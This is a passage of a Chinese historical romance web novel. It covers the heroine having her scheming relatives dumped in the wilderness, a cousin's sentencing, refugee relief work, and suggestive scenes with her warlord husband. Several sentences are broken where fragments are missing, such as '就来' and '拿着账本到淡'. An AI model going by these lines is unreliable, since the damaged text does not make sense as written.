“那不行,琇儿怕你怕的要死,这个时辰来找我定然是有事。”
宓瑶掰开了萧欻的脑袋,再说就是没事,她也得出去一趟,不然留在屋里就得做体力活动。
虽然到现在她肉眼看到还是会因为巨物恐慌,但实际上她跟萧欻还挺合拍,特别是这次两人和好,他开始琢磨着怎么讨好她。
可就是再合拍也不能一直待在屋里啊!
她又不是运动健将,哪能每天都进行三个时辰以上的重复性运动训练。
整理好了衣裳,萧欻去冲澡,宓瑶出了房门。
虞琇怕萧欻不喜,连正院的大门都没进,站在院门口。
见只有阿姊出来,虞琇松了口气,来益州这一年对她的成长来说是巨大的。
在宓瑶待久了,加上经常参与香雪楼的茶会,她晓得了她之前想的为阿姊分忧有多傻,加上虞佳音他们闹出的事,她更觉得以前的自己愚蠢。
若把阿姊换做她,一定不会给自己那么多次机会。
因为这样她就更珍惜在阿姊身边的日子,不再愚蠢行事让阿姊为难。
“打扰了阿姊和姐夫,但十七来找我,我觉得这事要跟阿姊说一声。”
听到虞琇提及十七,宓瑶就知道她是在说虞十七娘子虞娴。
相比于虞倚晴他们几个,虞娴表现的要安分得多,先是找了虞琇,然后有事没事就去慈济院帮忙。
晓得她的行为是在投诚,宓瑶没怎么管她,打算看看再说。
“她这个时辰来找你,虞佳音要狗急跳墙了?”
“阿姊一说就对。”
虞琇眼睛发亮,觉得这世上没人再比阿姊聪明,“十七过来报信,说虞佳音说动了爹,打算在子时过来大闹,让所有人都晓得阿姊不管亲人。”
“她也就这点招数了。”
想出其不意,大晚上出招让她避不过去。
宓瑶嗤了声,让人叫来了濮青:“人来了就堵住嘴巴扔进柴房,等到天亮找架马车牛车之类,反正别太干净的,把几人扔到野外,有本事他们就走回城中,没本事就喂虎喂狼。”
嘱咐完了,宓瑶看向虞琇:“她应当还没跟阿兄说这事吧?”
见虞琇点头,宓瑶就没打算让虞少阳知道这事。
“不知道别让他知晓了,免得他觉得苦恼。”
虞少阳跟她不一样,她是真对虞家人没什么感情,而虞少阳嘴里说的多厌恶虞成达,但还是把他当做亲爹。
孝字摆在前头,许多事他做不了太过。
把事情安排好了,宓瑶不急着回屋,而是去小厨房,让厨子给她煮了碗桂花酒酿当宵夜。
至于萧欻,怕他体力太好,宓瑶回绝了厨子要给他送猪脚面线的提议。
“我又做错了什么,让夫人如此不心疼我。”
萧欻进入小厅,除却闻到浓郁的桂花香气,就听到了宓瑶朝厨子说他不饿。
宓瑶撇眼看过去,萧欻用了她常用的香露,随着未干的水汽散发着甜甜香香的气味,宽大的衣裳衣领开到了胸口,露出了大块麦色的肌肤。
萧欻挥退了厨子,大马金刀的在宓瑶面前坐下,拿过了她面前的酒酿:“虽然夫人对我心狠,但我还是愿意伺候夫人。”
怀疑萧欻这是身边参考对象太少,所以干脆照着她讨好人的法子办事,宓瑶手撑着脑袋,看着他鬓边湿润成条的发丝,嗤了声:“你这点手段就想讨好于我?”
宓瑶声音软嫩,就来。
萧欻压抑了嘴角翘起的笑容:“那夫人想让我如何,用唇喂你?”
我,还是我被你占了便宜。”
关于这个问题,萧欻没有回答的意思,他握着的勺子转向,嘴唇噙着软绵的圆子就渡到了宓瑶的嘴里。
因为怕噎着宓瑶,萧欻的动作很轻缓,微烫的花生芝麻内陷被咬开,宓瑶舌尖发颤,嫌烫过到了萧欻的嘴里。
来来回回,一碗桂花酒酿两人吃了两刻钟,绯红,眼眸半眯。
宓瑶在了脸上,半阖的杏眸莹润如秋水。
萧欻被她眼角的媚意勾的心酥,极想顺着情绪深入下去,但晓得又怕她因为他的无节制而生气,干脆把她抱到了屋顶。
“我偶尔有什么想不通的事,会到这处吹吹冷风。”
说到冷风,萧欻从后抱住了宓瑶,“若是冷再往我怀里靠些。”
这话听得宓瑶觉得他带她上来是就是为了让她发冷,好往他怀里钻。
但这个半冷的气候,萧欻火炉般的怀抱的确舒服。
宓瑶靠在他怀里,仰头看向漆黑苍穹上的星星点点。
视野增高让她有种世界无限辽阔,而她渺小如尘埃的感觉,静声放空了半晌,宓瑶才开口道:“郎君可觉得我心狠?”
她嘱咐濮青的事瞒不过萧欻,她也没想着瞒。
“相比我来说,你已经给他们留足了脸面。”
萧欻不觉宓瑶做错了什么,在他眼中宓瑶看着强硬实则心软,她这般对待虞成达他们,只会是他们做错,让宓瑶发了脾气。
“你就不心烦外头的人说你不大气,对岳丈摆架子没有规矩?”
宓瑶歪头去看萧欻脸色,不跟虞成达他们来往,不止她这个虞家女被议论,也不少人那这是攻讦萧欻。
说他格局太小,做不成大事。
“我若是在乎旁人怎么说,那早该自刎谢罪。”
萧欻从军以来*打过的胜仗不少,但也不是没有败过,他赢的时候,世人惧他怕他,叫他煞神,用他的名字编造各类吓人传说。
而他败了就是漫天盖地的指责。
反正输赢都没甚好话,他开始会在意名声,后面就觉得都是这些指责都是虚的。
只要站在足够高的地方,拥有了强大的权力,那世人对他只会有敬畏,什么风言风语都不会递到他的耳畔。
萧欻手掌抚摸宓瑶柔软的青丝,想起了他们初见时,他看到宓瑶坐在简陋的牛车上,冷的缩成一团。
他那时觉得她愚蠢,开口说起财权,为的是嘲讽她与穷酸书生私奔。
而她却眼眸亮若星子朝他伸出了手。
他那时对宓瑶的选择没什么感觉,而这会儿却有了万丈豪情。
“我想往上走,只要我站在最高处,你便是最好的女人,无人敢开口非议你,唯有至高无上的权力才配得上你。”
低哑磁性的情话无比悦耳,宓瑶转头亲吻萧欻微凉的薄唇。
相比于他做小伏低,她更喜欢他这般锋芒毕露,要把江山打下捧到她面前的模样,不管他说真说假,往后会不会变,反正她现在是听爽了。
第93章 第九十三章【VIP】
虞家四人想给宓瑶一个教训,但深夜偷偷摸摸还没走到萧府就被套了麻袋。
五花大绑堵着嘴担惊受怕了几个时辰,最后马车停下,再看周围已经到了深山野林。
四周漆黑一片不说,还有恍若就在耳边的狼嚎。
几人吓得不轻,绑架者留下的火把谁都想抢,最后落到地上彻底熄了火。
“啊——”
虞倚晴的尖叫被虞成达的巴掌打断:“你是怕豺狼找不到我们的位置!把嘴巴给我闭上!”
打完了虞倚晴,虞成达反手也给了虞佳音一巴掌。
“都是你出的馊主意,要不是你说要去萧府闹事,我们怎么可能被弄到这里!”
大晚上被扔到这个鸟不拉屎的地方,虞成达再蠢也猜到了缘由。
没想到宓瑶那个逆女会那么心狠,连他也一齐下黑手。
现在他再回想宓瑶不同以往的气质,不觉得仙气,只觉得邪性。
越发觉得宓瑶被鬼上身,不是他的女儿。
虞成达对虞佳音动手之后,虞少庆的拳脚紧接着落下:“你这个贱人,要不是你不守妇道,勾引有妇之夫,怎么会连累我们……”
虞成达是长辈,他的掌掴虞佳音勉强受了,但虞少庆算什么。
继室生的嫡子。
而且还是没出息二房的嫡子。
虞佳音当即就回了过去,掐扣抓齐齐用上,让虞少庆连连痛呼。
“说的像是为我出头,若不是你们一身麻烦也需要解决,怎么可能与我同去萧府,你要怨就怨你嫡姐无情,怨你爹没本事压不住虞宓瑶!”
怕引来猛兽,几人对骂打架都不敢大声。
濮青与几个部曲蹲在树上看着这几人,觉得他们就像是动作迟缓又张牙舞爪的哑巴,捂着嘴巴才没笑出声。
“虞二你还晓不晓得我是长辈!”
听到虞佳音连他一起讥讽,虞成达怒发冲冠。
“我晓得你是长辈有什么用,你不是也被扔到了这里,到底你是虞宓瑶的爹,还是她是你爹,还有你生的这两个蠢货儿女,与虞宓瑶是兄妹又如何,整个益州城谁给他们颜面,所有人都把他们当做笑话。”
“你住嘴,你以为你好到哪里去,谋害原配,你就等着蹲大狱吧!”
几人一边骂一边打,虞佳音难敌时就威胁要大声喊叫引来豺狼,加上虞少庆对虞成达这个老子有气,趁机没少对虞成达下暗手。
四人你来我往打了个平局,等到天亮时,身上各有损伤。
树林有了光亮,四人抛下的脸皮又回了脸上,不再对彼此动手,而是开始寻找道路,想办法回城。
濮青扔他们的地方离村离镇都有一段距离,且几人不懂看路,全程像无头苍蝇一样乱窜,几次要遇到人都恰好避开,一直走了三个时辰才找到有人乡村。
四人因为互殴罗衣与模样都难以入目,费了许多口舌才说动里长驾牛车送他们回城。
只是他们让人送人时许诺的好,等到了地方身上和宅子里都没银子,虞少阳又不在府中,所以虞成达只能厚着脸皮找到了昨日他砸到地上的钱袋。
经过半日的惊魂,虞成达是彻底对宓瑶与虞少阳兄妹俩失望了。
怕这袋里的三贯银用完,虞少阳那个逆子会真不再给他银钱,所以虞成达只给了驾车的车夫半贯铜子。
这个车费说少也不少,但车夫愿意跑这一趟,是因为虞家几人说了赠以重金。
见期待的重金就是几十个铜子,车夫当即就骂了起来。
站在宅院面前,大骂几人驴粪蛋子表面光。
车夫声音大,骂起来没完,虞少庆躲在屋里也听得到宅院外面的嘈杂。
不用出门就知道周围百姓都在嘲笑他们,虞少庆气得踹了房门:“爹,你就多给他些银两,快把他打发走!”
“马车是只有我坐了?嫌丢面你怎么不拿银子打发。”
察觉到虞少庆的不尊重,虞成达没好气地说完,便站起给了他一巴掌,“没用的东西,管起老子来了!”
虞少庆捂着脸,他来了益州之后,算是把他曾经没挨过的打全都挨了一遍。
他觉得虞佳音说得对。
若不是虞成达这个当爹的没用,压不住宓瑶与虞少阳两人,他堂堂世家公子怎么可能落魄丢人成这样。
“我要回江南,这里我一天都待不下去了!”
虞少庆待不下去,
代他的事,虞成达狠狠砸了桌上的茶盏。
“就是走也不该那么灰溜溜的走!”
虞成达想着宓瑶兄妹既然不能为虞家所用,这般的弃子还留着有何用。
龟缩了几日,等拿到了交好世家捐助的银两,益州城内就开始不少男子来往。
什么淮南王,江宁郡王,甚至是虞家的马奴,每一个都传得有模有样。
比起忤逆父母,这些桃色故事更能引起城内百姓的兴趣。
室合谋杀妻案,这样有实证会上公堂的案子,可比大肆传播之后会被萧府找麻烦的谣言有劲头。
虞佳音没想到宓瑶会真不管她,让季家人把她告衙门,偏生她真动过毒死季婉芸上位的想法,这事还真查出了个始末。
“世家子弟一荣俱荣,一损俱损,虞宓瑶也不想她是靠什么嫁给萧欻,若是没有虞家女的身份,她长得再美也是坊间娼妓。”
虞佳音还在做最后的中挣扎,想让宓瑶知道虞家姐妹一体,她这个姐姐遭罪,宓瑶这个妹妹也不可能独善其身。
可惜她没等到萧府派人把她从监牢里救出去,而是多了个苗雪灵当狱友。
苗雪灵勾引萧欻不成,心中气闷,回到家里之后,就一直想让宓瑶倒霉,好让她出一口恶气。
她唆使虞佳音去慈济院找茬,又给虞佳音出了许多主意,以散播宓瑶谣言为主。
虞佳音不是傻的,她知道苗雪灵利用她,就反过来威胁苗雪灵给她帮忙。
她在益州没有人脉,能三番两次与顾允潇偶遇就是靠苗雪灵。
再者苗雪灵父亲就是名医,虞佳音住所搜到的毒药明显也与苗家有关。
萧欻那儿无望后,苗雪灵又为自已寻觅了一处高枝,好不容易对方才应了与她定亲,谁知道还没乐几日就被押到了牢里。
知道这事过后她的名声就毁了,苗雪灵怒目看向虞佳音:“我帮了你那么多,你却如此害我。”
“若不是你教唆我惹怒虞宓瑶,我怎么会被她盯上!”
平日亲昵如姐妹的两人先骂后打,鼻青脸肿的上堂又惹了一阵笑话。
证据确凿,苗雪灵的罪小,除却名声恢复不了,打了十板子,苗家人交了银子就赎了回家。
至于虞佳音与顾允潇,按大兴律例,谋而未行,唯得绞罪,顾允潇除官职,永不叙用,并流放三千里。
宓瑶听了处罚,才发现律法比她想的严苛,本以为就是顾允潇罢官,两人被打几十板子。
没想到竟然要到流放的程度。
这样的刑法两个受刑的人明显接受不了。
顾允潇没想到季婉芸真会那么狠心,哭求季家人谅解,把一切罪责都推到了虞佳音身上。
而虞佳音则是没想到宓瑶无情,其他人也没把虞家放在眼里,先是怒骂,之后与顾允潇一般哭求了起来。
虞成达倒是为侄女奔走了许久,他这一趟没完成嘱咐,反倒损失了一个大房嫡女,怎么也交代不过去。
可剑南在上次的清剿下,已经没了能左右剑南时局的世家豪族,剑南是赵天赫的一言堂,而萧欻又是赵天赫钦定的继承人。
这般的情况下,益州的官员都是看萧欻脸色,他那边不松口,他如何疏通奔走都无用。
知道改变不了侄女流放的命运,虞成达听到城中关于宓瑶的非议,怕被宓瑶夫妻俩算账,哪怕手上的银子不够一路到达江南,他依然打算先走再说,等到其他州府再想办法弄路银。
“十七呢?”
上了船后见虞娴不在,虞成达眉头紧皱,虞家既然捧得出一个江南第一美人,自然能捧出第二个。
萧欻不收是他的损失,虞娴张开后未必比宓瑶差,再者虞娴的脾气比起宓瑶不知道要乖巧听话多少倍。
“不知。”
在益州待了两个月,虞倚晴与虞少庆都瘦了一大圈,除此之外面容憔悴,像是苍老了七八岁。
他们奄奄一息地坐在船上,看着渐远的码头,等到回到江南,连益州这个地名他们都不想再听到。
“要你们有何用!”
把船整个翻找了几遍,怎么都找不到虞娴后,虞成达瞪向儿女。
面对他的怒视,两人都没有理会他的意思,经过此行,他们算是看出来了,虞成达这个老子没有半点威慑力,他既然管不住宓瑶与虞少阳兄妹俩,又凭什么来管他们。
虞家人这一走,唯一觉得得意的就是他们至少给宓瑶制造了不少流言蜚语,坏了她的名声。
可惜是他们不知,因为季婉芸与互助会姐妹的帮忙,宓瑶的风评逆转的很快,大义灭亲四个字足以抬高她的道德水平。
至于那些男女关系,在时事动荡中也被放在了一边。
夏季南边水患,关中却是大旱。
大兴帝应当是起了打压赵天赫的心思,下令让关中灾荒的难民往剑南迁移入籍。
并且没有将这事提前告知赵天赫。
赵天赫收到消息时,灾民已经南迁。
南迁问题不大,问题在于大兴帝下令让关东到剑南这一路的郡县城门紧闭驱赶灾民,不给灾民生路,让各地平添了许多乱象。
而且这些乱象让已经要平静的荆州又乱了起来。
除了大量难民汇集,让城内不安的消息便是契丹攻打幽州,幽州高纪连连战败,失了营、平两州。
这世道要彻底乱起来了。
第94章 第九十四章【VIP】
虞成达几人脚底抹油也没讨上什么好。
几人到达荆州时遇到了难民,所剩不多的银钱被抢劫一空,加上当地豪强与官府的管控,根本出不了荆州。
好不容易打着宓瑶与萧欻的名声借了些路费又被匪徒盯上,这些匪徒敢绑虞成达几人,却不敢朝萧欻夫妻要赎金,而是给江南的虞家写了勒索信。
几个来回的讨价还价,等到虞成达三人回到江南,已经不是瘦了一圈,而是变成了与难民无异的活骷髅。
受了这样的苦,几人都不想再离开虞家,可因为幽州大乱,几大军阀浑水摸鱼,江南几州已经乱的不成样子。
虞成达觉得他们迁去池州避祸,但虞家家主却是想去益州。
按理说虞家这样的世家,不管是哪个军阀执政日子也差不到哪里去。
但因为之前淮南王记恨他们家的推三阻四,他们连送几个女儿过去依然没讨到好,淮南王明显是想从他家开始下刀,以世家的血肉来扩充军需。
虞家家主让虞成达几人去剑南,就是想让他们当先锋兵,打理好迁过去的事宜,所以银子才会给的那么松,谁知道虞成达那么没用,损失了两个虞家女,还惹恼了宓瑶与萧欻。
“早知道这样,当初还不如把四娘给淮南王。”
虞成达一脸怒气,觉着虞家如今的下场都是被宓瑶所害。
虞家家主倒是比他看得明白:“四娘嫁给他难不成他就不扒着虞家吸血了?他早就盯上了虞家,反倒四娘与少阳去了剑南给了虞家一条退路。”
虞成达一脸愤慨:“四娘不会给我们好脸色,她现在都没把我当做亲爹,大哥你就那么看好赵天赫?”
“我不是看好赵天赫,而是看好萧欻。”
知道跟蠢人说话只是浪费口水,虞家家主不再理会虞成达。
他付了大笔的赎金,是觉得虞成达是宓瑶兄妹的老子,对他们虞家有用,现在听到兄妹俩如此排斥他,他就觉得浪费了赎金。
反正能老实就留着,若是多余,只要宓瑶与虞少阳姓虞,他们在剑南就能有一席之地,剩下二房的这些人存不存在都无所谓。
宓瑶还不知道因为她的态度,虞成达和她的继母继兄妹都上了虞家家主的舍弃名单。
自从灾民涌入她和萧欻都忙了起来。
萧欻是领着人去平乱,而她则是写了安置灾民的文书,主动向赵天赫领了任务,去管赈灾这一块。
她开这个口抱了点试探的意思。
她与赵天赫的几次短暂会面,她能感觉到赵天赫对她很看好,比起让她做萧府内宅的娇花,他更希望她是个能帮助萧欻,在剑南拥有一定政治地位的女人。
若是放在刚来益州,她会觉得赵天赫是想屁吃。
她是来度假不是来继续当牛马的。
但到了现在,她的想法随着时问,以及接触的人和物都在变化。
哪怕知道自己什么都不做的躺着也会有好日子过,她依然想尽一份力。
曾经的负面情绪就像是被这一年的生活治愈了一样。
关于这个宓瑶忍不住去打量萧欻,思考让她能量高起来的原因是不是因为双人运动。
不是说了,运动是干预心理健康最有益的方式。
萧欻在看公文,他费了不少功夫学习阅读书写,一有空就会练字与研读兵书,可这不代表他看到大篇幅的文字会愉悦。
野心变大,相应的他需要做的事情就变的更多。
比如说组建属于他的幕僚团,还有看不完公文。
耐着性子一卷卷的看着各地送过来的文书,察觉宓瑶看他,萧欻扭头在她脸上亲了一下。
亲完又回头继续看咬文嚼字的文书。
脸上突然被攻击了一下,宓瑶摸了摸脸颊,再看萧欻认真的侧脸,觉得他就像是忙中抽空哄了一下她。
问题是她看他又不是为了让他哄她。
为了显得自个不是闲人,宓瑶找了件正经事开口:“父君比我想象的还有明主风范,”
“嗯……”
萧欻应声了声,眼珠子定在文书上没动,脸却侧过又亲了下宓瑶。
应和的尾音压在了唇上,宓瑶故意伸出舌头想破坏萧欻的装正经,舌尖却只是短暂地碰到了下萧欻干燥的嘴皮。
他亲完就撤,没有移动的眼珠表明了他真的在很努力的工作。
域安置难民,她还想他会不会不老实影响正事,过一遍,没想到现在一句都用不上。
,宓瑶也没再找话题,而是单手撑在桌子上,直勾勾地盯着萧欻。
面对她的凝视,萧欻神色没什么变化,只是,亲到什么位置全凭运气。
等到宓瑶意识到自己在较劲,并且在较没有目的的劲,终于清醒,也终于看到了萧欻极力压下的嘴角。
“哼”了声,宓瑶起身去找文司马。
她的赈灾分为几部分,先是施粥安抚,其二就是划分区域登记名册,安置这些难民。
安置的过程中,最忙的就是大夫,能到哪里去,但依然要警醒瘟疫一类的传染病。
几万的难民潮,在之后还会更多的情况下,全部接收分化进入剑南各郡县并不现实,剑南是南方粮仓,但在经历各处出兵,加上夏季的水患,这粮也没多的那么夸张。
想消化那么多人,只能一边开荒,一边接收。
“夫人,登记了户籍后,已经开始编队,每户都出丁开始建房和开荒。”
宓瑶有心做事,赵天赫给她派了几人,除却文司马,还有户部与工部的几个官员,辅助她安置灾民。
宓瑶一边听他们汇报,一边走到了灾民居住的地方。
还未入冬,夜里单靠火堆还能取暖,但再过一个月,就必须要有挡风遮雨的住所。
到了建筑空地,建房的百姓除却食物能领的更好,还会有少量的工钱。
因为知道早日把屋子建好,就能早日入住,多一份活命的可能,空地不止有男丁,女子也不少,没人在偷懒,为了生存统统干的热火朝天。
“夫人,何必非这个功夫建屋?就是建好了总不能让这些人一直住在城外。”
户部的主事对宓瑶给建工派发工钱这事十分不解,这住处是为了他们灾民建造,怎么还要给他们发工钱。
但见其他人不开口,他只能在上报的文书写了这事,等了几日没等到节度使的驳回,这会见宓瑶盯着百姓建房,憋不住开了口。
“这处只是过渡,往益州汇聚而来的灾民远远不止这些,房子建好,开荒的地方也能收获一些叶菜可以过冬。”
宓瑶没打算让这些百姓一直住在这里,让他们建造的房屋也是类似于宿舍通铺。
这里的安置营差不多成型,能实现一部分的自给自足,就会安排各郡县来消化这些百姓。
消化不了的,还有之后接收的继续留在这里,把冬天渡过了再说。
现在已经入冬,虽然还不到最冷的时候,但已经错过了秋耕,剑南的粮库无法承担那么多百姓的口粮,这些百姓再可怜,也得先保证本地百姓的存活,再消化他们。
“我知道缺银子,但缺的是大银子,给建工的工钱花不了多少,反而能让百姓们安心,让他们知道我们剑南有钱,不会应付他们几天就让他们自生自灭。”
知道主事是心疼的银子,宓瑶安抚了两句,然后就期待起了跟萧欻商议的劫富济贫。
萧府能有那么多存银,有萧欻征战赵天赫给的赏赐,也有世家富户主动给萧欻的进贡。
如今各地大乱,除却军阀还有匪患,知道萧欻被赵天赫派到剑南周边平乱,她就与他讨论了多弄点好处,比如假装匪患,找几个世家下手积累资本。
平乱当然不可能只是平乱,要从富户手上打秋风是肯定的,但直接把目标定位他们,刮掉他们身上几层皮,萧欻与赵天赫都没想过。
世家虽烦,但他们的存在也有其作用。
而且赵天赫自己就是百年世家出身,下意识会维护同阶级的利益。
但处理了造反的谢家旁支后,世家门阀培育人才与秩序维护上的神性在他心中大打折扣。
至于萧欻,一个连寒门都算不上的庶民,怎么会在乎占田制下囤田,续仆的世家利益。
宓瑶觉得可以剑南可以长期接纳难民,就是因为萧欻承诺了他会源源不断的往赈灾地运粮运钱。
主事觉得给建工工钱是浪费,却没想过树立了剑南的正面形象,会方便之后更好的征兵。
想到战争,宓瑶摇了摇头,没有深入再想。
她没有让战争消失的本事,只能帮助萧欻,尽自己所能让剑南比起其他地方更加安定,活下更多的人。
巡了前营,宓瑶还去了田地一趟。
见用曲辕犁的不在少数,宓瑶问了工部的主事几声。
之前水患,她赈灾时就想到田地减产的问题,她不是农科生,但也知道水车和曲辕犁。
这时代早有了曲辕犁的前形,她跟文司马形容提及过之后,工部就弄了出来。
除了工具,夏季派去岭南,占城,江南找新粮种的官员也有收获。
到处逛了一圈,宓瑶去了自个的屋子,不打算与萧欻一同用晚膳。
可她不去找他,他手上的事完了,就堵到了她的房门口,眼眸直勾勾的打算把她看他的那些视线翻倍看回来。
除却用眼睛看,他还端了泡脚的热水:“听文司马说你今日走了不少路。”
见萧欻边说边去掉了她的鞋袜,宓瑶有些怔。
偶尔在府里的浴池,萧欻会捏着她的脚,说帮她洗脚,但这般弄了个盆,单膝跪地给她泡脚的事还从未有过。
宓瑶脚不自在地躲了躲,她无法想象她给人洗脚,哪怕是善儿那样的小丫头,所以觉得萧欻夸张了。
“你哪怕有怪癖,喜欢我的脚,也不必这般吧?”
第95章 第九十五章【VIP】
宓瑶的话没有打击到萧欻的积极性。
雪白细腻的脚掌被粗粝麦色的大手握住,热水里带着厚茧的指腹一下一下的揉捏筋骨,见骨节分明的手指穿过指缝,宓瑶觉着自己变坏了,满脑子都是色气的东西。
脚上又痒又麻,而且这种触感还从腿窜到了小腹。
宓瑶受不了,抓住了萧欻的手,翻开他的掌心:“你这些天去搬砖了?”
两人没有经常牵手,但她被迫的很清楚萧欻手指的触感。
他之前手心的茧子可没有现在这般磨手。
“练马练枪,不想丢了我这条命。”
萧欻乖顺地把手摊着,见宓瑶看完,就与她掌心相扣,把她五指扣在了掌心。
宓瑶听到他说练枪,眼眸不禁飘忽了一下,察觉到自己的视线飘到了萧欻的什么部位,宓瑶指甲扣在了萧欻的手背上,试图让自己清醒一点。
“你去取把椅子来,我们一起泡脚。”
木盆里的水还是灼热,没有了萧欻手掌的托举,她的脚背染上了绯红。
萧欻的动作很快,本来宓瑶以为他会推拒,觉得自己的脚跟她比起来不堪入目之类的。
而他应了声好就迅速去抬了凳子,脱鞋脱袜脚掌入水一气呵成,根本没有任何自卑的意思。
宓瑶的脚压在了萧欻的脚背上,为了缓解肌肤相触的痒,她弓起脚趾去挠他。
原本宽大的木盆因为萧欻的加入变得窄小。
萧欻躲了几下,见躲不过就干脆让宓瑶蹭来蹭去。
只是这样宓瑶依然不知足,她嫌萧欻皮糙肉厚,眼眸的幽深不像是不舒服,让他把脚抬起来,她要挠他的脚掌心。
“我脚底一样的厚。”
“我不管。”
听到萧欻反抗,宓瑶哼哼唧唧,“你在找借口,叫你做什么你就做什么,哪有那么多理由……”
萧欻听话地把脚翻到木盆边缘架起,同时倾身堵住了宓瑶的嘴巴。
掠夺了宓瑶唇上的湿润,萧欻稍稍拉开距离,低眸看着她嫣红水润的唇瓣:“不知为何,你每次你开口说个不停,我便像是失聪了般,眼里脑里都只有你开合不断的唇。”
宓瑶:……
觉着萧欻是在阴阳怪气说她啰嗦,宓瑶给了他胸口一掌。
“你这是什么意思,觉得我说话无趣?我认真说话,你却满脑子不正经的东西。”
这次萧欻没打断她的说话,在她话落音才吻住了她的唇。
舌尖长驱直入,宓瑶怀疑他不止练马练枪,还把舌头也一起练了,不若他的舌尖怎么也多了粗粝的质感,让她浑身开始克制不住的战栗。
宓瑶情不自禁地用力,紧紧踩着热水中属于萧欻的脚背,她脑子起了雾,分不清是因为讨厌萧欻的侵入才用力踩他,还是因为喜欢与他亲吻,才在极力地跟他更亲密。
木盆不知在什么时候打翻,宓瑶杏眼半寐看向将猩红地毯浸湿的水流,觉得自己比地毯湿润的还厉害。
“可以吗?”
她知道最近萧欻为了集中精力做正事,把多余的精力都发泄到了操练上,大半夜也还在练枪跑马。
这种情况下,她破了他的戒,就怕他把错怪罪到她身上。
“我是怕你累,嫌我不懂分寸,接连十几日我怕都不能回来,夫人你就当怜我一回,让我吃几口肉再走。”
肉这个东西吃多了腻,时久没吃了,又觉得想的慌。
宓瑶在脑子还没反应过来前,头就先点了一下。
这肉一吃就吃到了五更初。
“不是说你就吃几口!”
宓瑶浑身疲惫,意识到自己明天难以早起,瞪着眼怒斥萧欻。
“夫人莫气,是我这肚子不听使唤,有肉下肚就闭不上嘴。”
萧欻伸手先打了嘴巴,又拍了肚子。
见手掌在他精壮的腹肌上留下红印,明显是用了力气,宓瑶不禁翻了个白眼:“你打错了地方,贪吃的地方明明在其他位置。”
萧欻眉梢微微挑起,抓住了宓瑶的手腕:“既是夫人受了罪,那就该夫人来打。”
知道她要是真打下去,就彻底要通天亮了。
宓瑶挣脱了手,手指压在萧欻的上下嘴皮一捏。
“少啰嗦,闭眼睡觉。”
她算是发现了,男人兴致得到了满足,就会自动点亮油嘴滑舌这个技能。
连带着嘴脸也变得欠揍起来。
*
,宓瑶忙基建,萧欻忙剿匪,偶尔短暂的相聚,都是有其他官员在场,做事。
,觉得夫妻俩日日待在一起太腻歪,她的自由空间也会无限制减少。
但这般分分合合,,听到有人敲门,下意识觉得是萧欻。
“阿姊?”
拿着账本到淡,茫然地看着她,“我打扰到阿姊了?”
“无事。”
宓瑶拿过虞琇手上的账本,不止虞琇感觉到她情绪的变化,她也清晰地感觉到了自己的失落。
发现自己在想萧欻,宓瑶敲了敲脑子,觉得自个是得了什么病。
然后她就发现得病的不止是自个。
“爹什么时候回来啊,我好想他。”
“善儿也想。”
“爹应该快回来了,马上要过年了,我也想……”
萧翼默默随在弟弟妹妹的后面,表达对萧欻的想念。
萧欻这次出门出的最长,已经过去了二十多天,要是再不回来就赶不上过年了。
三个崽唉声叹气,宓瑶在旁边看着,觉得自己的想念也不奇怪了,反正大家都在想。
萧欻是除夕当夜冒着风雪赶回的家。
玄黑的大氅成了杂白色,戴了遮风帽,发丝上依然结了几缕薄冰,连带着他的眼眸也镀了层寒气。
不过这层寒气在触到宓瑶与萧善他们便碎了干净。
“我身上冷。”
见宓瑶扑过来,萧欻往旁侧躲了躲,只是用手拦住了她的腰。
意识到护手的皮革也是冰的,萧欻的手掌一触既离,开始取手上的铁片皮革手套。
只是才解到一半,被他拦住的女人还是抱住了他的腰。
感官被熟悉的馨香包裹,萧欻在这一瞬间身体才放松下来。
“真的挺冷的。”
本来想抱久点,让萧欻感觉到家庭的温暖,但萧欻外层是结冰在往下化的大氅,内层金属盔甲,宓瑶抬起头,鼻尖多了一个小冰块,委屈巴巴地看向萧欻。
见状,萧欻冻僵还没恢复的嘴角上翘,露出了一抹英俊又带了丝傻气的僵硬笑容。
“都与你说了。”
“真的冷。”
“就是就是。”
随着宓瑶抱住萧欻,萧善和萧良也一人抱住了萧欻一条腿,宓瑶抱怨,他们也跟着说心里话。
相比他们三个,萧翼靠谱的多,他踩在了凳子上,伸出手试图小动作的去掉萧欻身上全是积雪沉重的大氅。
见状,宓瑶往后让了一步,觉得幸好家里面有个靠谱的。
“若是赶不回来,明日到也好,何必走得那么急。”
理智回笼,宓瑶蹙眉朝萧欻开口。
“想同你们一起过年。”
解开了大氅,萧欻去偏厅脱身上的盔甲,宓瑶则是去给他替换的衣裳,拿到一半,她就无语起来。
抱着衣裳匆匆返回萧欻脱衣服的偏厅:“你冷成这样,不去泡个热水澡,换衣服有什么用。”
“娘亲说得对,阿爹是怎么想的!”
三个孩子守着萧欻换衣服,听到宓瑶这般说,觉得有道理,差点把穿着单衣的萧欻推出门外。
“我想与你们先吃饭。”
“我们哪有那么馋,是阿爹你肚子饿想吃了吧。”
萧良说完,萧善迅速去端了她的碗,筷子上夹了块红烧肉:“啊——”
知晓孩子们想念他,萧欻觉着高兴,但他每次才与宓瑶对上视线,说上两句软话,他们就在旁插话破坏气氛,实在也教人心烦。
俯腰吃了萧善筷子上的红烧肉,萧欻伸手在三个孩子脸上一个掐了下,就打发他们离开。
“我与你们娘亲有话要说,你们先去吃饭,若是想等我们,也去饭厅等我们,别围在我们身边。”
见萧善与萧良要张嘴,怕他们又啰嗦什么,萧欻提前补充,“我想我夫人了,我跟她单独待着,不想听话你们时不时在旁边冒一句扫兴的话。”
“哼!”
萧善先走,萧良手臂挽着胸前紧随其后:“哼哼!”
屋里没有多余的人,萧欻看向宓瑶,发现她脸上的神情跟萧良萧善差不离多少。
不过就是神情相似,落在他夫人的脸上也好看的紧。
萧欻凑近在她脸上啃了口,才继续穿她带来的衣裳。
穿完就拉着她要去浴池。
萧欻步伐急切,宓瑶忍不住轻踹了他小腿一脚:“骑了一天一夜的马,你就不嫌累。”
“就是骑了一天一夜的马,腿不需要费力就能张开,正好方便了。”
宓瑶:……
到了浴池,萧欻先去洗漱,确定自己吃了几天干粮的嘴足够干净才下了浴池。
热水覆盖身体,萧欻没让宓瑶下水,反而与她拉开了距离,只是时不时抬眸看她一眼。
到最后反倒是宓瑶被他看得不耐,在池水边坐下,俯身与他交换了一个湿淋淋的深吻。
第96章 第九十六章【VIP】
吃完了晚膳,几个小的期待地去放爆竹。
因为今年是与虞少阳一家三口一同过年,萧善他们有哥哥嫂子看着,宓瑶直接把吃饱的萧欻拖回了屋内。
“那么急?”
萧欻步子迈不大,低眸看着宓瑶牵*着他的手,慢悠悠地跟在她的身后。
